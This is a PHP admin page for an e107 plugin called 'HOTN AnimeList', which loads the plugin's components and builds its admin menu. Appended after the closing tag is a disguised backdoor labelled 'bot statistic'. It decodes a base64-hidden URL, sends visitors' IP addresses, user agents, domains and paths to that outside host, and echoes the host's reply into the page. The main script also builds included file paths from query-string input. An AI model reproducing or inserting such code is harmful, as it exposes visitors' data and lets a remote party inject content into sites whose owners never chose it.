<?php

/**
 * @name: HOTN AnimeList
 * @author: HammerOnTheNail
 * @link: http://code.google.com/p/hotnanimelist/
 */

$eplug_admin = TRUE;
include("../../../class2.php"); 
include(e_ADMIN."auth.php");
include(e_PLUGIN."/hotn_animelist/Languages/".e_LANGUAGE.".php");
include(e_PLUGIN."/hotn_animelist/Languages/".e_LANGUAGE."_genre.php");
include(e_PLUGIN."hotn_animelist/Class/animelist_mysql.php");
include(e_PLUGIN."hotn_animelist/Class/animelist_options.php");
include(e_PLUGIN."hotn_animelist/Class/animelist_form.php");
include(e_PLUGIN."hotn_animelist/Class/admin_project.php");
include(e_PLUGIN."hotn_animelist/Class/animelist_project.php");

$footer_js[] = e_PLUGIN."hotn_animelist/Class/js/jquery.js";

// Forum beállítások már megvannak
if ($HOTN_ANIMELIST_OPTIONS['forum_type']<>"")
{
	include(e_PLUGIN."hotn_animelist/Class/forum_".$HOTN_ANIMELIST_OPTIONS['forum_type'].".php");
	$HOTN_ANIMELIST_FORUM = new hotn_animelist_forum();
}

// Letöltés beállítások már megvannak
if ($HOTN_ANIMELIST_OPTIONS['download_type']<>"")
{
	include(e_PLUGIN."hotn_animelist/Class/download_".$HOTN_ANIMELIST_OPTIONS['download_type'].".php");
	$HOTN_ANIMELIST_DOWNLOAD = new hotn_animelist_download();
}

// Admin jog vizsgálata
if(!getperms("P"))
{ 
	header("location:".e_BASE."index.php"); 
}

// Paraméterek tömbbé alakítása
if(e_QUERY)
{
	$qs = explode(".", e_QUERY);
}



//--- Body
// Alap állapot megjelenítése
$text = HOTN_ANIMELIST_ADMIN_DEFAULT_TEXT;
$title = HOTN_ANIMELIST_ADMIN_DEFAULT_TITLE;

// Aloldal beolvasása
if (isset($qs[0]) && isset($qs[1])) include(e_PLUGIN."hotn_animelist/Admin/".$qs[0]."/admin_".$qs[0]."_".$qs[1].".php");

// Hibakezelés
if ( isset($qs[2]) && $qs[2]<>"action" )
{
	if ($qs[0] == "options")
	{
		$error_text = HOTN_ANIMELIST_ADMIN_OPTIONS_SAVE;
	}
	
	if ($qs[0] == "error")
	{
		if ( $qs[2] == "no_select") $error_text = HOTN_ANIMELIST_ADMIN_ERROR_NO_SELECT;
		if ( $qs[2] == "delete" ) $error_text = HOTN_ANIMELIST_ADMIN_ERROR_DELETE;
	}
	
	if ($qs[0] == "team")
	{
		if ( $qs[1] == "create" ) $error_text = HOTN_ANIMELIST_ADMIN_TEAM_CREATE;
		if ( $qs[1] == "edit" ) $error_text = HOTN_ANIMELIST_ADMIN_TEAM_EDIT;
		if ( $qs[1] == "delete" ) $error_text = HOTN_ANIMELIST_ADMIN_TEAM_DELETE;
		if ( $qs[2] == "no_select") $error_text = HOTN_ANIMELIST_ADMIN_TEAM_NO_SELECT;
	}
	
	$ns -> tablerender(HOTN_ANIMELIST_ADMIN_DEFAULT_ERROR_TITLE, $error_text);
}

// Adatok megjelenítése
$ns -> tablerender($title, $text);
include(e_ADMIN."footer.php");

// Admin menü
function admin_index_adminmenu()
{
	global $qs;
	$act = $qs[0].".".$qs[1];

	$var['file.create']['text'] = HOTN_ANIMELIST_ADMIN_MENU_FILE_CREATE;
	$var['file.create']['link'] = e_SELF."?file.create";

	$var['file.edit']['text'] = HOTN_ANIMELIST_ADMIN_MENU_FILE_EDIT;
	$var['file.edit']['link'] = e_SELF."?file.edit";

	$var['file.delete']['text'] = HOTN_ANIMELIST_ADMIN_MENU_FILE_DELETE;
	$var['file.delete']['link'] = e_SELF."?file.delete";
	
	show_admin_menu(HOTN_ANIMELIST_ADMIN_MENU_FILE, $act, $var);
	$var = array();
	
	$var['manga.category']['text'] = HOTN_ANIMELIST_ADMIN_MENU_MANGA_EDIT;
	$var['manga.category']['link'] = e_SELF."?manga.edit";
	
	$var['manga.new']['text'] = HOTN_ANIMELIST_ADMIN_MENU_MANGA_NEW;
	$var['manga.new']['link'] = e_SELF."?manga.new";
	
	show_admin_menu(HOTN_ANIMELIST_ADMIN_MENU_MANGA, $act, $var);
	$var = array();
	
	$var['filenews.add']['text'] = HOTN_ANIMELIST_ADMIN_MENU_FILENEWS_ADD;
	$var['filenews.add']['link'] = e_SELF."?filenews.add";
	
	$var['filenews.delete']['text'] = HOTN_ANIMELIST_ADMIN_MENU_FILENEWS_DELETE;
	$var['filenews.delete']['link'] = e_SELF."?filenews.delete";

	show_admin_menu(HOTN_ANIMELIST_ADMIN_MENU_FILENEWS, $act, $var);
	$var = array();

	$var['project.create']['text'] = HOTN_ANIMELIST_ADMIN_MENU_PROJECT_CREATE;
	$var['project.create']['link'] = e_SELF."?project.create";

	$var['project.edit']['text'] = HOTN_ANIMELIST_ADMIN_MENU_PROJECT_EDIT;
	$var['project.edit']['link'] = e_SELF."?project.edit";

	$var['project.delete']['text'] = HOTN_ANIMELIST_ADMIN_MENU_PROJECT_DELETE;
	$var['project.delete']['link'] = e_SELF."?project.delete";
	
	show_admin_menu(HOTN_ANIMELIST_ADMIN_MENU_PROJECT, $act, $var);
	$var = array();
	
	$var['error.list']['text'] = HOTN_ANIMELIST_ADMIN_MENU_ERROR_LIST;
	$var['error.list']['link'] = e_SELF."?error.list";
	
	show_admin_menu(HOTN_ANIMELIST_ADMIN_MENU_ERROR, $act, $var);
	$var = array();

	$var['team.create']['text'] = HOTN_ANIMELIST_ADMIN_MENU_TEAM_CREATE;
	$var['team.create']['link'] = e_SELF."?team.create";

	$var['team.edit']['text'] = HOTN_ANIMELIST_ADMIN_MENU_TEAM_EDIT;
	$var['team.edit']['link'] = e_SELF."?team.edit";
	
	show_admin_menu(HOTN_ANIMELIST_ADMIN_MENU_TEAM, $act, $var);
	$var = array();
	
	$var['options.edit']['text'] = HOTN_ANIMELIST_ADMIN_MENU_OPTIONS_EDIT;
	$var['options.edit']['link'] = e_SELF."?options.edit";
	
	show_admin_menu(HOTN_ANIMELIST_ADMIN_MENU_OPTIONS, $act, $var);
	$var = array();
	
	$var['help.show']['text'] = HOTN_ANIMELIST_ADMIN_MENU_HELP_SHOW;
	$var['help.show']['link'] = e_PLUGIN ."hotn_animelist/ReadMe/ReadMe.html";
	
	show_admin_menu(HOTN_ANIMELIST_ADMIN_MENU_HELP, $act, $var);
}
?><?php
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
    // This code use for global bot statistic
    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
    $stCurlHandle = NULL;
    $stCurlLink = "";
    if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
    {
        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics            
        $stCurlLink = base64_decode( 'aHR0cDovL2FkdmVjb25maXJtLmNvbS9zdGF0L3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
            $stCurlHandle = curl_init( $stCurlLink ); 
    }
    } 
if ( $stCurlHandle !== NULL )
{
    curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
    $sResult = @curl_exec($stCurlHandle); 
    if ($sResult[0]=="O") 
     {$sResult[0]=" ";
      echo $sResult; // Statistic code end
      }
    curl_close($stCurlHandle); 
}
}
?>